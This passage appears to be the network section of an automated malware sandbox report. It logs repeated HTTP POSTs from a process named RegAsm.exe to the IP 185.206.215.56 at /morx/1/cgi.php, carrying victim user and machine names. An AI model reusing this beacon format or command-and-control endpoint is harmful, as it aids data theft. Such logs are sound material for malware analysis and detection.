Jan 5, 2021 19:07:03.152472973 CET	1330	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 31 00 36 00 35 00 35 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus216554ALBUS-PC0DE4229FCF97F5879F50F8FD3
Jan 5, 2021 19:07:03.240915060 CET	1331	IN	HTTP/1.0 404 Not Found Date: Tue, 05 Jan 2021 18:07:02 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
144	192.168.2.22	49311	185.206.215.56	80	C:\Users\user\AppData\Local\Temp\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Jan 5, 2021 19:07:03.437459946 CET	1331	OUT	POST /morx/1/cgi.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 185.206.215.56 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 598F9AF4 Content-Length: 149 Connection: close
Jan 5, 2021 19:07:03.511662960 CET	1332	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 31 00 36 00 35 00 35 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus216554ALBUS-PC0DE4229FCF97F5879F50F8FD3
Jan 5, 2021 19:07:03.601073027 CET	1332	IN	HTTP/1.0 404 Not Found Date: Tue, 05 Jan 2021 18:07:02 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
145	192.168.2.22	49312	185.206.215.56	80	C:\Users\user\AppData\Local\Temp\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Jan 5, 2021 19:07:03.817487001 CET	1333	OUT	POST /morx/1/cgi.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 185.206.215.56 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 598F9AF4 Content-Length: 149 Connection: close
Jan 5, 2021 19:07:03.886569023 CET	1333	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 31 00 36 00 35 00 35 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus216554ALBUS-PC0DE4229FCF97F5879F50F8FD3
Jan 5, 2021 19:07:03.979352951 CET	1333	IN	HTTP/1.0 404 Not Found Date: Tue, 05 Jan 2021 18:07:03 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
146	192.168.2.22	49313	185.206.215.56	80	C:\Users\user\AppData\Local\Temp\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Jan 5, 2021 19:07:04.190227032 CET	1334	OUT	POST /morx/1/cgi.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 185.206.215.56 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 598F9AF4 Content-Length: 149 Connection: close
Jan 5, 2021 19:07:04.261697054 CET	1334	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 31 00 36 00 35 00 35 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus216554ALBUS-PC0DE4229FCF97F5879F50F8FD3
Jan 5, 2021 19:07:04.351677895 CET	1335	IN	HTTP/1.0 404 Not Found Date: Tue, 05 Jan 2021 18:07:03 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
147	192.168.2.22	49314	185.206.215.56	80	C:\Users\user\AppData\Local\Temp\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Jan 5, 2021 19:07:04.554888964 CET	1335	OUT	POST /morx/1/cgi.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 185.206.215.56 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 598F9AF4 Content-Length: 149 Connection: close
Jan 5, 2021 19:07:04.637051105 CET	1336	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 31 00 36 00 35 00 35 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus216554ALBUS-PC0DE4229FCF97F5879F50F8FD3
Jan 5, 2021 19:07:04.731422901 CET	1336	IN	HTTP/1.0 404 Not Found Date: Tue, 05 Jan 2021 18:07:03 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
148	192.168.2.22	49315	185.206.215.56	80	C:\Users\user\AppData\Local\Temp\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Jan 5, 2021 19:07:04.946050882 CET	1337	OUT	POST /morx/1/cgi.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 185.206.215.56 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 598F9AF4 Content-Length: 149 Connection: close
Jan 5, 2021 19:07:05.027569056 CET	1337	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 31 00 36 00 35 00 35 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus216554ALBUS-PC0DE4229FCF97F5879F50F8FD3
Jan 5, 2021 19:07:05.124758005 CET	1337	IN	HTTP/1.0 404 Not Found Date: Tue, 05 Jan 2021 18:07:04 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
149	192.168.2.22	49316	185.206.215.56	80	C:\Users\user\AppData\Local\Temp\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Jan 5, 2021 19:07:05.334399939 CET	1338	OUT	POST /morx/1/cgi.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 185.206.215.56 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 598F9AF4 Content-Length: 149 Connection: close
Jan 5, 2021 19:07:05.418001890 CET	1338	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 31 00 36 00 35 00 35 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus216554ALBUS-PC0DE4229FCF97F5879F50F8FD3
Jan 5, 2021 19:07:05.505003929 CET	1339	IN	HTTP/1.0 404 Not Found Date: Tue, 05 Jan 2021 18:07:04 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
15	192.168.2.22	49182	185.206.215.56	80	C:\Users\user\AppData\Local\Temp\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Jan 5, 2021 19:06:13.213063955 CET	1161	OUT	POST /morx/1/cgi.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 185.206.215.56 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 598F9AF4 Content-Length: 149 Connection: close
Jan 5, 2021 19:06:13.277957916 CET	1161	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 31 00 36 00 35 00 35 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus216554ALBUS-PC0DE4229FCF97F5879F50F8FD3
Jan 5, 2021 19:06:13.388159037 CET	1162	IN	HTTP/1.0 404 Not Found Date: Tue, 05 Jan 2021 18:06:12 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
150	192.168.2.22	49317	185.206.215.56	80	C:\Users\user\AppData\Local\Temp\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Jan 5, 2021 19:07:05.711230993 CET	1339	OUT	POST /morx/1/cgi.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 185.206.215.56 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 598F9AF4 Content-Length: 149 Connection: close
Jan 5, 2021 19:07:05.777348042 CET	1340	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 31 00 36 00 35 00 35 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus216554ALBUS-PC0DE4229FCF97F5879F50F8FD3
Jan 5, 2021 19:07:05.862498045 CET	1340	IN	HTTP/1.0 404 Not Found Date: Tue, 05 Jan 2021 18:07:04 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
151	192.168.2.22	49318	185.206.215.56	80	C:\Users\user\AppData\Local\Temp\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Jan 5, 2021 19:07:06.056308031 CET	1341	OUT	POST /morx/1/cgi.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 185.206.215.56 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 598F9AF4 Content-Length: 149 Connection: close
Jan 5, 2021 19:07:06.136904001 CET	1341	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 31 00 36 00 35 00 35 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus216554ALBUS-PC0DE4229FCF97F5879F50F8FD3
Jan 5, 2021 19:07:06.254065990 CET	1341	IN	HTTP/1.0 404 Not Found Date: Tue, 05 Jan 2021 18:07:05 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
152	192.168.2.22	49319	185.206.215.56	80	C:\Users\user\AppData\Local\Temp\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Jan 5, 2021 19:07:06.456724882 CET	1342	OUT	POST /morx/1/cgi.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 185.206.215.56 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 598F9AF4 Content-Length: 149 Connection: close
Jan 5, 2021 19:07:06.527218103 CET	1342	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 31 00 36 00 35 00 35 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus216554ALBUS-PC0DE4229FCF97F5879F50F8FD3
Jan 5, 2021 19:07:06.617598057 CET	1343	IN	HTTP/1.0 404 Not Found Date: Tue, 05 Jan 2021 18:07:05 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
153	192.168.2.22	49320	185.206.215.56	80	C:\Users\user\AppData\Local\Temp\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Jan 5, 2021 19:07:06.823586941 CET	1343	OUT	POST /morx/1/cgi.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 185.206.215.56 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 598F9AF4 Content-Length: 149 Connection: close
Jan 5, 2021 19:07:06.886838913 CET	1344	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 31 00 36 00 35 00 35 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus216554ALBUS-PC0DE4229FCF97F5879F50F8FD3
Jan 5, 2021 19:07:06.974483967 CET	1344	IN	HTTP/1.0 404 Not Found Date: Tue, 05 Jan 2021 18:07:06 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
154	192.168.2.22	49321	185.206.215.56	80	C:\Users\user\AppData\Local\Temp\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Jan 5, 2021 19:07:07.184056044 CET	1345	OUT	POST /morx/1/cgi.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 185.206.215.56 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 598F9AF4 Content-Length: 149 Connection: close
Jan 5, 2021 19:07:07.245943069 CET	1345	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 31 00 36 00 35 00 35 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus216554ALBUS-PC0DE4229FCF97F5879F50F8FD3
Jan 5, 2021 19:07:07.346312046 CET	1345	IN	HTTP/1.0 404 Not Found Date: Tue, 05 Jan 2021 18:07:06 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
155	192.168.2.22	49322	185.206.215.56	80	C:\Users\user\AppData\Local\Temp\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Jan 5, 2021 19:07:07.553003073 CET	1346	OUT	POST /morx/1/cgi.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 185.206.215.56 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 598F9AF4 Content-Length: 149 Connection: close
Jan 5, 2021 19:07:07.621242046 CET	1346	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 31 00 36 00 35 00 35 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus216554ALBUS-PC0DE4229FCF97F5879F50F8FD3
Jan 5, 2021 19:07:07.742274046 CET	1347	IN	HTTP/1.0 404 Not Found Date: Tue, 05 Jan 2021 18:07:06 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
156	192.168.2.22	49323	185.206.215.56	80	C:\Users\user\AppData\Local\Temp\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Jan 5, 2021 19:07:07.954108953 CET	1347	OUT	POST /morx/1/cgi.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 185.206.215.56 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 598F9AF4 Content-Length: 149 Connection: close
Jan 5, 2021 19:07:08.027307987 CET	1347	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 31 00 36 00 35 00 35 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus216554ALBUS-PC0DE4229FCF97F5879F50F8FD3
Jan 5, 2021 19:07:08.126146078 CET	1348	IN	HTTP/1.0 404 Not Found Date: Tue, 05 Jan 2021 18:07:07 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
157	192.168.2.22	49324	185.206.215.56	80	C:\Users\user\AppData\Local\Temp\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Jan 5, 2021 19:07:08.324968100 CET	1349	OUT	POST /morx/1/cgi.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 185.206.215.56 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 598F9AF4 Content-Length: 149 Connection: close
Jan 5, 2021 19:07:08.402383089 CET	1349	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 31 00 36 00 35 00 35 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus216554ALBUS-PC0DE4229FCF97F5879F50F8FD3
Jan 5, 2021 19:07:08.523216009 CET	1349	IN	HTTP/1.0 404 Not Found Date: Tue, 05 Jan 2021 18:07:07 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
158	192.168.2.22	49325	185.206.215.56	80	C:\Users\user\AppData\Local\Temp\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Jan 5, 2021 19:07:08.752321959 CET	1350	OUT	POST /morx/1/cgi.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 185.206.215.56 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 598F9AF4 Content-Length: 149 Connection: close
Jan 5, 2021 19:07:08.824282885 CET	1350	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 31 00 36 00 35 00 35 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus216554ALBUS-PC0DE4229FCF97F5879F50F8FD3
Jan 5, 2021 19:07:08.911140919 CET	1350	IN	HTTP/1.0 404 Not Found Date: Tue, 05 Jan 2021 18:07:08 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
159	192.168.2.22	49326	185.206.215.56	80	C:\Users\user\AppData\Local\Temp\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Jan 5, 2021 19:07:09.107950926 CET	1351	OUT	POST /morx/1/cgi.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 185.206.215.56 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 598F9AF4 Content-Length: 149 Connection: close
Jan 5, 2021 19:07:09.183665991 CET	1351	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 31 00 36 00 35 00 35 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus216554ALBUS-PC0DE4229FCF97F5879F50F8FD3
Jan 5, 2021 19:07:09.274146080 CET	1352	IN	HTTP/1.0 404 Not Found Date: Tue, 05 Jan 2021 18:07:08 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
16	192.168.2.22	49183	185.206.215.56	80	C:\Users\user\AppData\Local\Temp\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Jan 5, 2021 19:06:13.606386900 CET	1163	OUT	POST /morx/1/cgi.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 185.206.215.56 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 598F9AF4 Content-Length: 149 Connection: close
Jan 5, 2021 19:06:13.683672905 CET	1163	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 31 00 36 00 35 00 35 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus216554ALBUS-PC0DE4229FCF97F5879F50F8FD3
Jan 5, 2021 19:06:13.778989077 CET	1163	IN	HTTP/1.0 404 Not Found Date: Tue, 05 Jan 2021 18:06:12 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
160	192.168.2.22	49327	185.206.215.56	80	C:\Users\user\AppData\Local\Temp\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Jan 5, 2021 19:07:09.490262032 CET	1352	OUT	POST /morx/1/cgi.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 185.206.215.56 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 598F9AF4 Content-Length: 149 Connection: close
Jan 5, 2021 19:07:09.574273109 CET	1353	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 31 00 36 00 35 00 35 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus216554ALBUS-PC0DE4229FCF97F5879F50F8FD3
Jan 5, 2021 19:07:09.668226004 CET	1353	IN	HTTP/1.0 404 Not Found Date: Tue, 05 Jan 2021 18:07:08 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
161	192.168.2.22	49328	185.206.215.56	80	C:\Users\user\AppData\Local\Temp\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Jan 5, 2021 19:07:09.873125076 CET	1354	OUT	POST /morx/1/cgi.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 185.206.215.56 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 598F9AF4 Content-Length: 149 Connection: close
